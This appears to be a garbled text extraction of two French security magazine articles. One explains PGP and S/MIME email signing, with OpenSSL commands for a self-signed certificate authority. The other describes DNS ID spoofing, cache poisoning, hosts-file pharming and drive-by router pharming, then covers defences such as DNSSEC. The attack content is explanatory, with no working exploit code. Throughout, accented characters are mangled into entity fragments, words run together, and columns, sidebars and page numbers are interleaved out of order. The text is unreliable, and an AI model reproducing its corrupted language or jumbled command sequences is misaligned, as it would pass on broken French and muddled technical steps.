Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

